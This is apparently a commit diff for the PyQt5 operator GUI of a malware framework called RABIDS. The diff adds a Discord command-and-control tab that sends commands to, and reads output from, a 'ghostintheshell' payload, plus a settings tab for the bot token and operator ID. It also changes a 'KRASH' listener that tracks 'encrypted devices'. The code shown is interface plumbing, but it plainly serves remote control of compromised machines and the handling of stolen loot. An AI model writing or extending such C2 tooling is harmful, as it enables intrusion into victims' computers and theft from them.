|
||||||
listener_layout.addWidget(self.listener_creator_id_edit, 1)
|
|
||||||
listener_layout.addWidget(self.refresh_listener_btn)
|
|
||||||
listener_layout.addWidget(self.toggle_listener_btn)
|
|
||||||
left_column_layout.addLayout(listener_layout)
|
|
||||||
|
|
||||||
self.encrypted_devices_table = QTableWidget()
|
self.encrypted_devices_table = QTableWidget()
|
||||||
self.encrypted_devices_table.setColumnCount(1)
|
self.encrypted_devices_table.setColumnCount(1)
|
||||||
@ -770,14 +857,114 @@ class RABIDSGUI(QMainWindow):
|
|||||||
|
|
||||||
uncrash_layout.addLayout(bottom_section_layout)
|
uncrash_layout.addLayout(bottom_section_layout)
|
||||||
|
|
||||||
|
# C2 Tab
|
||||||
|
c2_widget = QWidget()
|
||||||
|
c2_main_layout = QHBoxLayout(c2_widget)
|
||||||
|
c2_main_layout.setContentsMargins(15, 15, 15, 15)
|
||||||
|
|
||||||
|
c2_left_column_widget = QWidget()
|
||||||
|
c2_left_layout = QVBoxLayout(c2_left_column_widget)
|
||||||
|
c2_left_layout.setContentsMargins(0, 0, 0, 0)
|
||||||
|
|
||||||
|
c2_header_layout = QHBoxLayout()
|
||||||
|
c2_title = QLabel("DISCORD C2")
|
||||||
|
c2_title.setFont(title_font)
|
||||||
|
c2_header_layout.addWidget(c2_title)
|
||||||
|
c2_left_layout.addLayout(c2_header_layout)
|
||||||
|
|
||||||
|
c2_desc = QLabel("Connect to Discord to send commands to and receive output from the 'ghostintheshell' payload.")
|
||||||
|
c2_desc.setFont(subtitle_font)
|
||||||
|
c2_desc.setStyleSheet("color: #00A9FD;")
|
||||||
|
c2_desc.setWordWrap(True)
|
||||||
|
c2_left_layout.addWidget(c2_desc)
|
||||||
|
|
||||||
|
self.c2_connect_btn = QPushButton("Connect")
|
||||||
|
self.c2_connect_btn.clicked.connect(self.toggle_c2_connection)
|
||||||
|
c2_left_layout.addWidget(self.c2_connect_btn)
|
||||||
|
|
||||||
|
self.c2_log = QTextEdit()
|
||||||
|
self.c2_log.setReadOnly(True)
|
||||||
|
self.c2_log.setFont(subtitle_font)
|
||||||
|
self.c2_log.setStyleSheet("background-color: #1D1D1F;")
|
||||||
|
c2_left_layout.addWidget(self.c2_log)
|
||||||
|
|
||||||
|
c2_input_layout = QHBoxLayout()
|
||||||
|
self.c2_cmd_input = QLineEdit()
|
||||||
|
self.c2_cmd_input.setPlaceholderText("Enter command to send...")
|
||||||
|
self.c2_cmd_input.returnPressed.connect(self.send_c2_message)
|
||||||
|
self.c2_cmd_input.setEnabled(False)
|
||||||
|
|
||||||
|
self.c2_send_btn = QPushButton("Send")
|
||||||
|
self.c2_send_btn.clicked.connect(self.send_c2_message)
|
||||||
|
self.c2_send_btn.setEnabled(False)
|
||||||
|
|
||||||
|
c2_input_layout.addWidget(self.c2_cmd_input, 1)
|
||||||
|
c2_input_layout.addWidget(self.c2_send_btn)
|
||||||
|
c2_left_layout.addLayout(c2_input_layout)
|
||||||
|
|
||||||
|
c2_image_label = QLabel()
|
||||||
|
c2_image_path = os.path.join(self.script_dir, "ASSETS", "c2.png")
|
||||||
|
pixmap = QPixmap(c2_image_path)
|
||||||
|
if not pixmap.isNull():
|
||||||
|
c2_image_label.setPixmap(pixmap.scaled(300, 800, Qt.KeepAspectRatio, Qt.SmoothTransformation))
|
||||||
|
c2_image_label.setAlignment(Qt.AlignCenter)
|
||||||
|
|
||||||
|
c2_main_layout.addWidget(c2_left_column_widget, 6)
|
||||||
|
c2_main_layout.addWidget(c2_image_label, 4)
|
||||||
|
|
||||||
|
# Settings Tab
|
||||||
|
settings_widget = QWidget()
|
||||||
|
settings_layout = QVBoxLayout(settings_widget)
|
||||||
|
settings_layout.setContentsMargins(15, 15, 15, 15)
|
||||||
|
|
||||||
|
def create_setting_layout(label_text, input_widget, description_text):
|
||||||
|
setting_layout = QVBoxLayout()
|
||||||
|
label_layout = QHBoxLayout()
|
||||||
|
label = QLabel(label_text)
|
||||||
|
label.setFont(subtitle_font)
|
||||||
|
desc_label = QLabel(description_text)
|
||||||
|
desc_label.setFont(QFont("Arial", 8))
|
||||||
|
desc_label.setStyleSheet("color: #808080;")
|
||||||
|
desc_label.setWordWrap(True)
|
||||||
|
label_layout.addWidget(label)
|
||||||
|
setting_layout.addLayout(label_layout)
|
||||||
|
setting_layout.addWidget(input_widget)
|
||||||
|
setting_layout.addWidget(desc_label)
|
||||||
|
setting_layout.addSpacing(10)
|
||||||
|
return setting_layout
|
||||||
|
|
||||||
|
# GUI Listener Settings
|
||||||
|
listener_token_label = QLabel("Listener Bot Token")
|
||||||
|
self.settings_discord_token_edit = QLineEdit()
|
||||||
|
listener_token_desc = "The authentication token for the Discord bot. Used by the KRASH listener and C2 functionality."
|
||||||
|
listener_layout = create_setting_layout(listener_token_label.text(), self.settings_discord_token_edit, listener_token_desc)
|
||||||
|
settings_layout.addLayout(listener_layout)
|
||||||
|
|
||||||
|
listener_creator_id_label = QLabel("Discord User ID")
|
||||||
|
self.settings_listener_creator_id_edit = QLineEdit()
|
||||||
|
listener_creator_id_desc = "Your Discord user ID. The GUI listener bot will only accept commands and DMs from this user."
|
||||||
|
listener_creator_id_layout = create_setting_layout(listener_creator_id_label.text(), self.settings_listener_creator_id_edit, listener_creator_id_desc)
|
||||||
|
settings_layout.addLayout(listener_creator_id_layout)
|
||||||
|
|
||||||
|
# Add stretch to the settings tab for spacing
|
||||||
|
settings_layout.addStretch()
|
||||||
|
|
||||||
|
# Save Settings Button
|
||||||
|
save_settings_btn = QPushButton("Save Settings")
|
||||||
|
save_settings_btn.setFont(subtitle_font)
|
||||||
|
save_settings_btn.clicked.connect(self.save_settings)
|
||||||
|
settings_layout.addWidget(save_settings_btn)
|
||||||
|
|
||||||
|
|
||||||
self.tab_widget.addTab(builder_widget, "BUILDER")
|
self.tab_widget.addTab(builder_widget, "BUILDER")
|
||||||
self.tab_widget.addTab(output_widget, "OUTPUT")
|
self.tab_widget.addTab(output_widget, "OUTPUT")
|
||||||
|
self.tab_widget.addTab(c2_widget, "C2")
|
||||||
self.tab_widget.addTab(uncrash_widget, "KRASH")
|
self.tab_widget.addTab(uncrash_widget, "KRASH")
|
||||||
self.tab_widget.addTab(garbage_collector_widget, "GARBAGE COLLECTOR")
|
self.tab_widget.addTab(garbage_collector_widget, "GARBAGE COLLECTOR")
|
||||||
self.tab_widget.addTab(docs_widget, "DOCUMENTATION")
|
self.tab_widget.addTab(docs_widget, "DOCUMENTATION")
|
||||||
|
self.tab_widget.addTab(settings_widget, "SETTINGS")
|
||||||
self.update_loot_folder_view()
|
self.update_loot_folder_view()
|
||||||
self.update_all_option_values()
|
self.update_all_option_values()
|
||||||
self.update_module_description("SELECT MODULE")
|
|
||||||
self.update_module_table()
|
self.update_module_table()
|
||||||
self.update_options_layout()
|
self.update_options_layout()
|
||||||
self.update_windows_only_options(self.target_os_combo.currentText())
|
self.update_windows_only_options(self.target_os_combo.currentText())
|
||||||
@ -820,13 +1007,6 @@ class RABIDSGUI(QMainWindow):
|
|||||||
except Exception as e:
|
except Exception as e:
|
||||||
self.loot_files_list.addItem(f"Error reading LOOT directory: {e}")
|
self.loot_files_list.addItem(f"Error reading LOOT directory: {e}")
|
||||||
|
|
||||||
def update_module_description(self, module_name):
|
|
||||||
if module_name == "SELECT MODULE":
|
|
||||||
self.module_desc_label.setText("Select a module to view its description")
|
|
||||||
else:
|
|
||||||
full_module = f"module/{module_name}"
|
|
||||||
self.module_desc_label.setText(MODULES.get(full_module, {}).get('desc', 'No description available'))
|
|
||||||
|
|
||||||
def update_options_layout(self, focused_module=None):
|
def update_options_layout(self, focused_module=None):
|
||||||
for i in reversed(range(self.options_layout.count())):
|
for i in reversed(range(self.options_layout.count())):
|
||||||
layout_item = self.options_layout.itemAt(i)
|
layout_item = self.options_layout.itemAt(i)
|
||||||
@ -1071,6 +1251,12 @@ class RABIDSGUI(QMainWindow):
|
|||||||
color = "#FFA473"
|
color = "#FFA473"
|
||||||
else:
|
else:
|
||||||
color = "#00A9FD"
|
color = "#00A9FD"
|
||||||
|
|
||||||
|
if msg_type == "c2_sent":
|
||||||
|
color = "#e0e0e0" # White for sent
|
||||||
|
elif msg_type == "c2_recv":
|
||||||
|
color = "#B7CE42" # Green for received
|
||||||
|
|
||||||
|
|
||||||
if not message.strip():
|
if not message.strip():
|
||||||
return
|
return
|
||||||
@ -1115,7 +1301,6 @@ class RABIDSGUI(QMainWindow):
|
|||||||
|
|
||||||
self.show_result_view(is_success)
|
self.show_result_view(is_success)
|
||||||
|
|
||||||
from PyQt5.QtCore import QTimer
|
|
||||||
QTimer.singleShot(3000, self.restore_options_after_build)
|
QTimer.singleShot(3000, self.restore_options_after_build)
|
||||||
|
|
||||||
self.build_btn.setEnabled(True)
|
self.build_btn.setEnabled(True)
|
||||||
@ -1286,24 +1471,60 @@ class RABIDSGUI(QMainWindow):
|
|||||||
self.build_thread.finished_signal.connect(self.build_finished)
|
self.build_thread.finished_signal.connect(self.build_finished)
|
||||||
self.build_thread.start()
|
self.build_thread.start()
|
||||||
|
|
||||||
|
def toggle_c2_connection(self):
|
||||||
|
if self.c2_thread and self.c2_thread.isRunning():
|
||||||
|
self.c2_thread.stop()
|
||||||
|
else:
|
||||||
|
token = self.settings_discord_token_edit.text().strip()
|
||||||
|
target_id = self.settings_listener_creator_id_edit.text().strip()
|
||||||
|
if not token or not target_id:
|
||||||
|
self.log_c2_message("Bot Token and Target User ID are required.", "error")
|
||||||
|
return
|
||||||
|
|
||||||
|
self.c2_log.clear()
|
||||||
|
self.log_c2_message("Connecting to Discord...", "system")
|
||||||
|
self.c2_thread = C2Thread(token, target_id)
|
||||||
|
self.c2_thread.log_message.connect(self.log_c2_message)
|
||||||
|
self.c2_thread.connection_status.connect(self.on_c2_connection_status_changed)
|
||||||
|
self.c2_thread.start()
|
||||||
|
|
||||||
|
def on_c2_connection_status_changed(self, is_connected):
|
||||||
|
self.c2_cmd_input.setEnabled(is_connected)
|
||||||
|
self.c2_send_btn.setEnabled(is_connected)
|
||||||
|
if is_connected:
|
||||||
|
self.c2_connect_btn.setText("Disconnect")
|
||||||
|
else:
|
||||||
|
self.c2_connect_btn.setText("Connect")
|
||||||
|
if self.c2_thread:
|
||||||
|
self.c2_thread.quit()
|
||||||
|
self.c2_thread.wait()
|
||||||
|
self.c2_thread = None
|
||||||
|
|
||||||
|
def log_c2_message(self, message, msg_type):
|
||||||
|
# Reusing log_message logic for color, but directing output to c2_log
|
||||||
|
color_map = {"error": "#D81960", "success": "#B7CE42", "system": "#FFA473", "c2_sent": "#e0e0e0", "c2_recv": "#B7CE42", "c2_debug": "#888888"}
|
||||||
|
color = color_map.get(msg_type, "#00A9FD")
|
||||||
|
self.c2_log.append(f'<font color="{color}">{message}</font>')
|
||||||
|
|
||||||
|
def send_c2_message(self):
|
||||||
|
content = self.c2_cmd_input.text().strip()
|
||||||
|
if content and self.c2_thread and self.c2_thread.isRunning():
|
||||||
|
self.c2_thread.send_message(content)
|
||||||
|
self.c2_cmd_input.clear()
|
||||||
|
|
||||||
def toggle_discord_listener(self):
|
def toggle_discord_listener(self):
|
||||||
if self.discord_thread and self.discord_thread.isRunning():
|
if self.discord_thread and self.discord_thread.isRunning():
|
||||||
self.discord_thread.stop()
|
self.discord_thread.stop()
|
||||||
self.discord_thread.quit()
|
|
||||||
self.discord_thread.wait()
|
|
||||||
self.discord_thread = None
|
|
||||||
self.toggle_listener_btn.setText("Connect")
|
self.toggle_listener_btn.setText("Connect")
|
||||||
self.listener_token_edit.setEnabled(True)
|
|
||||||
self.listener_creator_id_edit.setEnabled(True)
|
|
||||||
self.log_message("Discord listener disconnected.", "system")
|
self.log_message("Discord listener disconnected.", "system")
|
||||||
else:
|
else:
|
||||||
token = self.listener_token_edit.text().strip()
|
token = self.settings_discord_token_edit.text().strip()
|
||||||
if not token:
|
if not token:
|
||||||
self.log_message("Error: Discord listener bot token is required.", "error")
|
self.log_message("Error: Discord listener bot token is required.", "error")
|
||||||
self.tab_widget.setCurrentIndex(1)
|
self.tab_widget.setCurrentIndex(self.tab_widget.indexOf(self.tab_widget.findChild(QWidget, "SETTINGS")))
|
||||||
return
|
return
|
||||||
|
|
||||||
creator_id = self.listener_creator_id_edit.text().strip()
|
creator_id = self.settings_listener_creator_id_edit.text().strip()
|
||||||
|
|
||||||
if self.discord_thread and self.discord_thread.isRunning():
|
if self.discord_thread and self.discord_thread.isRunning():
|
||||||
self.log_message("Listener is already running.", "system")
|
self.log_message("Listener is already running.", "system")
|
||||||
@ -1313,8 +1534,11 @@ class RABIDSGUI(QMainWindow):
|
|||||||
self.discord_thread.device_status_update.connect(self.update_device_status)
|
self.discord_thread.device_status_update.connect(self.update_device_status)
|
||||||
self.discord_thread.start()
|
self.discord_thread.start()
|
||||||
self.toggle_listener_btn.setText("Disconnect")
|
self.toggle_listener_btn.setText("Disconnect")
|
||||||
self.listener_token_edit.setEnabled(False)
|
|
||||||
self.listener_creator_id_edit.setEnabled(False)
|
def on_discord_listener_status_changed(self, is_connected):
|
||||||
|
self.toggle_listener_btn.setText("Disconnect" if is_connected else "Connect")
|
||||||
|
if not is_connected and self.discord_thread:
|
||||||
|
self.discord_thread = None
|
||||||
|
|
||||||
def refresh_discord_listener(self):
|
def refresh_discord_listener(self):
|
||||||
if self.discord_thread and self.discord_thread.isRunning():
|
if self.discord_thread and self.discord_thread.isRunning():
|
||||||
@ -1330,9 +1554,7 @@ class RABIDSGUI(QMainWindow):
|
|||||||
if "failed" in status:
|
if "failed" in status:
|
||||||
self.toggle_listener_btn.setText("Connect")
|
self.toggle_listener_btn.setText("Connect")
|
||||||
self.toggle_listener_btn.setEnabled(True)
|
self.toggle_listener_btn.setEnabled(True)
|
||||||
self.listener_token_edit.setEnabled(True)
|
self.on_discord_listener_status_changed(False)
|
||||||
self.listener_creator_id_edit.setEnabled(True)
|
|
||||||
|
|
||||||
for row in range(self.encrypted_devices_table.rowCount()):
|
for row in range(self.encrypted_devices_table.rowCount()):
|
||||||
item = self.encrypted_devices_table.item(row, 0)
|
item = self.encrypted_devices_table.item(row, 0)
|
||||||
if item and item.text() == hostname:
|
if item and item.text() == hostname:
|
||||||
@ -1397,8 +1619,8 @@ class RABIDSGUI(QMainWindow):
|
|||||||
"output_dir": self.restore_output_dir_edit.text()
|
"output_dir": self.restore_output_dir_edit.text()
|
||||||
},
|
},
|
||||||
"listener": {
|
"listener": {
|
||||||
"token": self.listener_token_edit.text(),
|
"token": self.settings_discord_token_edit.text(),
|
||||||
"creator_id": self.listener_creator_id_edit.text()
|
"creator_id": self.settings_listener_creator_id_edit.text()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
try:
|
try:
|
||||||
@ -1438,8 +1660,8 @@ class RABIDSGUI(QMainWindow):
|
|||||||
self.restore_output_dir_edit.setText(gc_cfg.get("output_dir", ""))
|
self.restore_output_dir_edit.setText(gc_cfg.get("output_dir", ""))
|
||||||
|
|
||||||
listener_cfg = config.get("listener", {})
|
listener_cfg = config.get("listener", {})
|
||||||
self.listener_token_edit.setText(listener_cfg.get("token", ""))
|
self.settings_discord_token_edit.setText(listener_cfg.get("token", ""))
|
||||||
self.listener_creator_id_edit.setText(listener_cfg.get("creator_id", ""))
|
self.settings_listener_creator_id_edit.setText(listener_cfg.get("creator_id", ""))
|
||||||
|
|
||||||
except (json.JSONDecodeError, KeyError) as e:
|
except (json.JSONDecodeError, KeyError) as e:
|
||||||
print(f"Error loading settings from config file: {e}")
|
print(f"Error loading settings from config file: {e}")
|
||||||
|
|||||||
Reference in New Issue
Block a user